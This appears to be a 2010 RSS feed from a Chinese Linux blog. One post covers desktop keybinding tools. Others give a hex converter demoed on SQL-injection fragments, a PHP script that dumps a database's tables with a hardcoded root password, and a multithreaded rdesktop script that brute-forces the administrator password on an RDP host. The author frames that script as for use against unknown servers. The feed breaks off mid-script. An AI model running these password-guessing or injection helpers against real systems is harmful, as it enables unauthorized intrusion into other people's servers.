<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>桃源</title>
	<atom:link href="http://linux.cuit.edu.cn/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://linux.cuit.edu.cn</link>
	<description>Linux 文化、哲学、编程、桌面、技巧、幽默</description>
	<pubDate>Thu, 19 Aug 2010 11:42:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>小工具介绍: XBindKeys, Global Menu</title>
		<link>http://linux.cuit.edu.cn/?p=987</link>
		<comments>http://linux.cuit.edu.cn/?p=987#comments</comments>
		<pubDate>Thu, 19 Aug 2010 11:42:57 +0000</pubDate>
		<dc:creator>小高子</dc:creator>
		
		<category><![CDATA[桌面应用]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=987</guid>
		<description><![CDATA[小高子一直都是一个近乎狂热的键盘控, 寻找各种可以通过键盘实现的操作. 自从结识了GNOME Do这个神器一般的软件, 启动各种程序再也没有用到鼠标. 不过有一点是GNOME Do办不到的, 当Firefox有多个账户时, 这时通过GNOME Do启动Firefox就有点混乱, 每次必须通过冗长的命令行在多个Firefox账户间切换. 可不可以把这些命令绑定到键盘上呢? 那就是今天的第一位主角了: XBindKeys.

安装好XBindKeys之后, 先生成默认的配置文件:

$ xbindkeys --defaults > ~/.xbindkeysrc

配置文件的语法规则也很简单, 第一行为命令, 第二行为快捷键, 比如:

"firefox -P default -no-remote"
  control + shift + f

这样就可以把任何命令绑定到键盘上了.
Global Menu最初是大猫同学在Twitter上推荐的, 听名字很容易知道这个软件是用来干嘛的, 效果图如下:

怎么安装呢? 这里有一个官方安装指引, Ubuntu用户可以通过PPA源:

$ sudo add-apt-repository ppa:globalmenu-team/ppa
$ sudo apt-get update
$ sudo apt-get install gnome-globalmenu

将menu bar放在屏幕最顶端的设计源于Mac OS, 不过这可不仅仅是单纯的创新或者为了好看, vgod同学的这篇文章详细分析了这种GUI设计背后的数学背景.
最后想说的是由于时间及各种杂事的缘故, 「桃源」近来的更新速度有些缓慢, 非常感谢一直默默支持的各位, 我们也会一直怀着对于Linux, 对于开源的热情坚持下去的.
]]></description>
			<content:encoded><![CDATA[<p>小高子一直都是一个近乎狂热的键盘控, 寻找各种可以通过键盘实现的操作. 自从结识了<a href="http://do.davebsd.com/">GNOME Do</a>这个神器一般的软件, 启动各种程序再也没有用到鼠标. 不过有一点是GNOME Do办不到的, 当Firefox有多个账户时, 这时通过GNOME Do启动Firefox就有点混乱, 每次必须通过冗长的命令行在多个Firefox账户间切换. 可不可以把这些命令绑定到键盘上呢? 那就是今天的第一位主角了: <a href="http://www.nongnu.org/xbindkeys/xbindkeys.html">XBindKeys</a>.<br />
<span id="more-987"></span><br />
安装好XBindKeys之后, 先生成默认的配置文件:</p>
<pre>
$ xbindkeys --defaults > ~/.xbindkeysrc
</pre>
<p>配置文件的语法规则也很简单, 第一行为命令, 第二行为快捷键, 比如:</p>
<pre>
"firefox -P default -no-remote"
  control + shift + f
</pre>
<p>这样就可以把任何命令绑定到键盘上了.</p>
<p><a href="http://code.google.com/p/gnome2-globalmenu/">Global Menu</a>最初是大猫同学<a href="http://twitter.com/zhzhxtrrk/status/21291667877">在Twitter上推荐的</a>, 听名字很容易知道这个软件是用来干嘛的, 效果图如下:<br />
<img src="http://linux.cuit.edu.cn/tos-content/2010/08/global_menu.png" alt="Global Menu" title="Global Menu" width="525" height="208" class="size-full wp-image-992" /></p>
<p>怎么安装呢? 这里有一个<a href="http://code.google.com/p/gnome2-globalmenu/wiki/Installation">官方安装指引</a>, Ubuntu用户可以通过PPA源:</p>
<pre>
$ sudo add-apt-repository ppa:globalmenu-team/ppa
$ sudo apt-get update
$ sudo apt-get install gnome-globalmenu
</pre>
<p>将menu bar放在屏幕最顶端的设计源于Mac OS, 不过这可不仅仅是单纯的创新或者为了好看, <a href="http://blog.vgod.tw/2009/10/02/fitts-law/">vgod同学的这篇文章</a>详细分析了这种GUI设计背后的数学背景.</p>
<p>最后想说的是由于时间及各种杂事的缘故, 「桃源」近来的更新速度有些缓慢, 非常感谢一直默默支持的各位, 我们也会一直怀着对于Linux, 对于开源的热情坚持下去的.</p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=987</wfw:commentRss>
		</item>
		<item>
		<title>字符串与16进制转换脚本</title>
		<link>http://linux.cuit.edu.cn/?p=984</link>
		<comments>http://linux.cuit.edu.cn/?p=984#comments</comments>
		<pubDate>Sun, 25 Jul 2010 00:52:09 +0000</pubDate>
		<dc:creator>renewjoy</dc:creator>
		
		<category><![CDATA[学习笔记]]></category>

		<category><![CDATA[脚本、编程]]></category>

		<category><![CDATA[hex]]></category>

		<category><![CDATA[python]]></category>

		<category><![CDATA[string]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=984</guid>
		<description><![CDATA[发个脚本上来耍耍，也许会对你有用。
功能：实现字符串和16进制之间的转换。
只要有python基础的人都能写出来。
发出来是只是为了需要的时候，能快速找到，君以为如何？


?View Code PYTHON#!/usr/bin/env python
#-*- coding:utf-8 -*-
&#160;
&#160;
def to_hex&#40;s&#41;:
    &#34;&#34;&#34;Convert string to hex
    &#34;&#34;&#34;
    res = &#91;&#93;
    for ch in s:
        hex_dig = hex&#40;ord&#40;ch&#41;&#41;&#91;2:&#93;
        #print hex_dig
      [...]]]></description>
			<content:encoded><![CDATA[<p>发个脚本上来耍耍，也许会对你有用。</p>
<p>功能：实现字符串和16进制之间的转换。</p>
<p>只要有python基础的人都能写出来。</p>
<p>发出来是只是为了需要的时候，能快速找到，君以为如何？<br />
<span id="more-984"></span></p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p984code2'); return false;">View Code</a> PYTHON</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p9842"><td class="code" id="p984code2"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #808080; font-style: italic;">#-*- coding:utf-8 -*-</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> to_hex<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;Convert string to hex
    &quot;&quot;&quot;</span>
    res = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> ch <span style="color: #ff7700;font-weight:bold;">in</span> s:
        hex_dig = <span style="color: #008000;">hex</span><span style="color: black;">&#40;</span><span style="color: #008000;">ord</span><span style="color: black;">&#40;</span>ch<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: black;">&#93;</span>
        <span style="color: #808080; font-style: italic;">#print hex_dig</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>hex_dig<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">1</span>:
            hex_dig = <span style="color: #483d8b;">'0'</span> + hex_dig
        res.<span style="color: black;">append</span><span style="color: black;">&#40;</span>hex_dig<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">return</span>  <span style="color: #483d8b;">'0x'</span> + <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>res<span style="color: black;">&#41;</span>.<span style="color: black;">upper</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> to_str<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;convert hex repr to string
    &quot;&quot;&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">if</span> s<span style="color: black;">&#91;</span>:<span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'0x'</span> <span style="color: #ff7700;font-weight:bold;">or</span> s<span style="color: black;">&#91;</span>:<span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span> == <span style="color: #483d8b;">'0X'</span>:
        s = s<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: black;">&#93;</span>
&nbsp;
    res_str = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>,<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
        hex_dig = s<span style="color: black;">&#91;</span>i:i+<span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>
        <span style="color: #808080; font-style: italic;">#print hex_dig</span>
        res_str.<span style="color: black;">append</span><span style="color: black;">&#40;</span><span style="color: #008000;">chr</span><span style="color: black;">&#40;</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span>hex_dig,base=<span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">#print res_str</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>res_str<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> to_hex<span style="color: black;">&#40;</span>r<span style="color: #483d8b;">'substring(@@version,1,1)=5)'</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> to_str<span style="color: black;">&#40;</span><span style="color: #483d8b;">'0x737562737472696E6728404076657273696F6E2C312C31293D3529'</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">print</span> to_hex<span style="color: black;">&#40;</span>r<span style="color: #483d8b;">'c:<span style="color: #000099; font-weight: bold;">\i</span>ntpub<span style="color: #000099; font-weight: bold;">\w</span>wwroot<span style="color: #000099; font-weight: bold;">\v</span>2<span style="color: #000099; font-weight: bold;">\l</span>ogin.php'</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># when there is a \v, so you should to use r&quot;some string&quot;.</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> to_str<span style="color: black;">&#40;</span><span style="color: #483d8b;">'0x633A5C696E747075625C777777726F6F745C76325C6C6F67696E2E706870'</span><span style="color: black;">&#41;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=984</wfw:commentRss>
		</item>
		<item>
		<title>查询某库所有表的前x条记录</title>
		<link>http://linux.cuit.edu.cn/?p=981</link>
		<comments>http://linux.cuit.edu.cn/?p=981#comments</comments>
		<pubDate>Fri, 16 Jul 2010 15:33:49 +0000</pubDate>
		<dc:creator>renewjoy</dc:creator>
		
		<category><![CDATA[奇技淫巧]]></category>

		<category><![CDATA[脚本、编程]]></category>

		<category><![CDATA[database]]></category>

		<category><![CDATA[mysql]]></category>

		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=981</guid>
		<description><![CDATA[#本程序用于查询某个数据库里面的所有表的前50条记录
#主要利用查询系统库information_schema来达到查询所有表/每个表的所有字段
#最后遍历所有表,查询前50条记录并显示出来.
#Mysql大于5.0版本才有information_schema库
#oyea9le@gmail.com
#2010.7.16


?View Code PHP&#60; ?php
$dbServer = &#34;localhost&#34;;
$dbUser=&#34;root&#34;;
$dbPassword =&#34;joy&#34;;
$dbName = &#34;owasp10&#34;;
&#160;
#连接数据库语句
$conn=mysql_connect&#40;$dbServer, $dbUser, $dbPassword, $dbName&#41;;
&#160;
#查询所有表名的sql
$table_sql=&#34;select table_name from information_schema.tables where table_schema='&#34; . $dbName . &#34;'&#34;;
#echo &#34;table_sql  = &#34;. $table_sql . &#34;&#60;br&#62;&#34;;

mysql_select_db&#40;&#34;information_schema&#34;, $conn&#41; or die &#40;&#34;Database select failure!&#34;&#41;;
&#160;
$table_all=mysql_query&#40;$table_sql&#41;;
while&#40;$table=mysql_fetch_object&#40;$table_all&#41;&#41;&#123;
    echo &#34;table name = &#60;font color='red'&#62;&#34;. $table -&#62; table_name. &#34;&#60;/font&#62;&#60;br /&#62;&#34; ;
&#160;
    #查询所有列名的sql
   [...]]]></description>
			<content:encoded><![CDATA[<p>#本程序用于查询某个数据库里面的所有表的前50条记录<br />
#主要利用查询系统库information_schema来达到查询所有表/每个表的所有字段<br />
#最后遍历所有表,查询前50条记录并显示出来.<br />
#Mysql大于5.0版本才有information_schema库<br />
#oyea9le@gmail.com<br />
#2010.7.16<br />
<span id="more-981"></span></p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p981code4'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p9814"><td class="code" id="p981code4"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #000088;">$dbServer</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dbUser</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;root&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dbPassword</span> <span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;joy&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dbName</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;owasp10&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#连接数据库语句
</span><span style="color: #000088;">$conn</span><span style="color: #339933;">=</span><a href="http://www.php.net/mysql_connect"><span style="color: #990000;">mysql_connect</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbServer</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbUser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbPassword</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbName</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#查询所有表名的sql
</span><span style="color: #000088;">$table_sql</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;select table_name from information_schema.tables where table_schema='&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$dbName</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">#echo &quot;table_sql  = &quot;. $table_sql . &quot;&lt;br&gt;&quot;;
</span>
<a href="http://www.php.net/mysql_select_db"><span style="color: #990000;">mysql_select_db</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;information_schema&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$conn</span><span style="color: #009900;">&#41;</span> or <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Database select failure!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$table_all</span><span style="color: #339933;">=</span><a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$table_sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span><span style="color: #339933;">=</span><a href="http://www.php.net/mysql_fetch_object"><span style="color: #990000;">mysql_fetch_object</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$table_all</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;table name = &lt;font color='red'&gt;&quot;</span><span style="color: #339933;">.</span> <span style="color: #000088;">$table</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">table_name</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/font&gt;&lt;br /&gt;&quot;</span> <span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#查询所有列名的sql
</span>    <span style="color: #000088;">$column_sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select column_name from information_schema.columns where table_schema='&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$dbName</span>  <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;' and table_name='&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$table</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#echo &quot;column_sql = &quot; . $column_sql . &quot;&lt;br /&gt;&quot;;
</span>   
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;font color='blue'&gt;&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$column_all</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$column_sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$columns</span><span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_fetch_object"><span style="color: #990000;">mysql_fetch_object</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$column_all</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">echo</span>  <span style="color: #000088;">$columns</span> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">column_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
        <span style="color: #666666; font-style: italic;">#查询前50条记录的sql
</span>        <span style="color: #000088;">$record_sql</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;select * from &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$dbName</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;.&quot;</span>  <span style="color: #339933;">.</span> <span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">table_name</span> <span style="color: #339933;">.</span>  <span style="color: #0000ff;">' limit 0, 50'</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">#echo &quot;record_sql = &quot; . $record_sql;
</span>        
        <span style="color: #000088;">$record_all</span><span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_query"><span style="color: #990000;">mysql_query</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$record_sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/font&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$record</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/mysql_fetch_array"><span style="color: #990000;">mysql_fetch_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$record_all</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$record</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">echo</span>  <span style="color: #000088;">$record</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">;</span>
            <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span> 
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=981</wfw:commentRss>
		</item>
		<item>
		<title>Linux下登录3389</title>
		<link>http://linux.cuit.edu.cn/?p=975</link>
		<comments>http://linux.cuit.edu.cn/?p=975#comments</comments>
		<pubDate>Sat, 10 Jul 2010 11:35:13 +0000</pubDate>
		<dc:creator>oyea9le</dc:creator>
		
		<category><![CDATA[奇技淫巧]]></category>

		<category><![CDATA[学习笔记]]></category>

		<category><![CDATA[脚本、编程]]></category>

		<category><![CDATA[3389]]></category>

		<category><![CDATA[redesktop]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=975</guid>
		<description><![CDATA[黑色的夜里,用windows上未知服务器的3389怕中马,我们用Linux来登录.
命令:
# rdesktop -u administrator -p the_password -a 8 -r disk:haha=/root/Desktop/win_bin/ xx.yy.zz.aa
参数说明:
-u 用户
-p 密码
-a 8 显示颜色位深,可选16, 24
-r 映射本地目录到远程
haha为名称, /root/Desktop/win_bin/为本地路径.
xx.yy.zz.aa 为3389机子ip
附一个在Linux下破解3389口令的脚本,半成品. 必须要用户自己判断才行.
本来网上说的都是rdesktop打上补丁就可以破解了,可是我打上补丁后,运行老是出错.没法,自己写个玩玩,虽然实战中没有成功过,估计以后改进后能用.
程序说明:
1:使用了多线程.
2:调用了rdesktop工具, 所有参数按最节约带宽来写.
3:自己制作pass.txt文件.
4:成功登录后,rdesktop标题显示为Pass:[the_password]
5:rdesktop打开的窗口不需要手动关闭,超时后会自动退出.
脚本:

?View Code PYTHON#!/usr/bin/env python
#-*- coding:utf-8 -*-
&#160;
import os,sys
import Queue
import threading
&#160;
ip = &#34;192.168.1.104&#34;
pass_file = &#34;pass.txt&#34;
thread_max = 20
&#160;
&#160;
passwords = Queue.Queue&#40;&#41;
&#160;
class RDP&#40;threading.Thread&#41;:
    def __init__&#40;self, passwords&#41;:
        threading.Thread.__init__&#40;self&#41;
    [...]]]></description>
			<content:encoded><![CDATA[<p>黑色的夜里,用windows上未知服务器的3389怕中马,我们用Linux来登录.</p>
<p>命令:</p>
<p># rdesktop -u administrator -p the_password -a 8 -r disk:haha=/root/Desktop/win_bin/ xx.yy.zz.aa</p>
<p>参数说明:<span id="more-975"></span></p>
<p>-u 用户</p>
<p>-p 密码</p>
<p>-a 8 显示颜色位深,可选16, 24</p>
<p>-r 映射本地目录到远程</p>
<p>haha为名称, /root/Desktop/win_bin/为本地路径.</p>
<p>xx.yy.zz.aa 为3389机子ip</p>
<p>附一个在Linux下破解3389口令的脚本,半成品. 必须要用户自己判断才行.</p>
<p>本来网上说的都是rdesktop打上补丁就可以破解了,可是我打上补丁后,运行老是出错.没法,自己写个玩玩,虽然实战中没有成功过,估计以后改进后能用.</p>
<p>程序说明:</p>
<p>1:使用了多线程.</p>
<p>2:调用了rdesktop工具, 所有参数按最节约带宽来写.</p>
<p>3:自己制作pass.txt文件.</p>
<p>4:成功登录后,rdesktop标题显示为Pass:[the_password]</p>
<p>5:rdesktop打开的窗口不需要手动关闭,超时后会自动退出.</p>
<p>脚本:</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p975code6'); return false;">View Code</a> PYTHON</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p9756"><td class="code" id="p975code6"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #808080; font-style: italic;">#-*- coding:utf-8 -*-</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>,<span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">Queue</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">threading</span>
&nbsp;
ip = <span style="color: #483d8b;">&quot;192.168.1.104&quot;</span>
pass_file = <span style="color: #483d8b;">&quot;pass.txt&quot;</span>
thread_max = <span style="color: #ff4500;">20</span>
&nbsp;
&nbsp;
passwords = <span style="color: #dc143c;">Queue</span>.<span style="color: #dc143c;">Queue</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> RDP<span style="color: black;">&#40;</span><span style="color: #dc143c;">threading</span>.<span style="color: black;">Thread</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, passwords<span style="color: black;">&#41;</span>:
        <span style="color: #dc143c;">threading</span>.<span style="color: black;">Thread</span>.<span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>
        <span style="color: #008000;">self</span>.<span style="color: black;">passwords</span> = passwords
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">def</span> run<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:
            <span style="color: #dc143c;">pwd</span> = <span style="color: #008000;">self</span>.<span style="color: black;">passwords</span>.<span style="color: black;">get</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Current PASS: %s'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span><span style="color: #dc143c;">pwd</span>, <span style="color: black;">&#41;</span>
            <span style="color: #dc143c;">cmd</span> = <span style="color: #483d8b;">&quot;&quot;&quot;rdesktop -m -g 480x320 -u administrator -p %s -k en-us -a 8 -T 'Pass:[%s]'
 %s&quot;&quot;&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span><span style="color: #dc143c;">pwd</span>, <span style="color: #dc143c;">pwd</span>, ip<span style="color: black;">&#41;</span>
            res = <span style="color: #dc143c;">os</span>.<span style="color: black;">system</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">cmd</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">print</span> res
<span style="color: #808080; font-style: italic;">#             if res == 0:</span>
<span style="color: #808080; font-style: italic;">#                 sys.exit()</span>
&nbsp;
            <span style="color: #008000;">self</span>.<span style="color: black;">passwords</span>.<span style="color: black;">task_done</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>thread_max+<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
        rdp = RDP<span style="color: black;">&#40;</span>passwords<span style="color: black;">&#41;</span>
<span style="color: #808080; font-style: italic;">#        rdp.setDaemon(True)</span>
        rdp.<span style="color: black;">start</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #dc143c;">pwd</span> <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>pass_file<span style="color: black;">&#41;</span>:
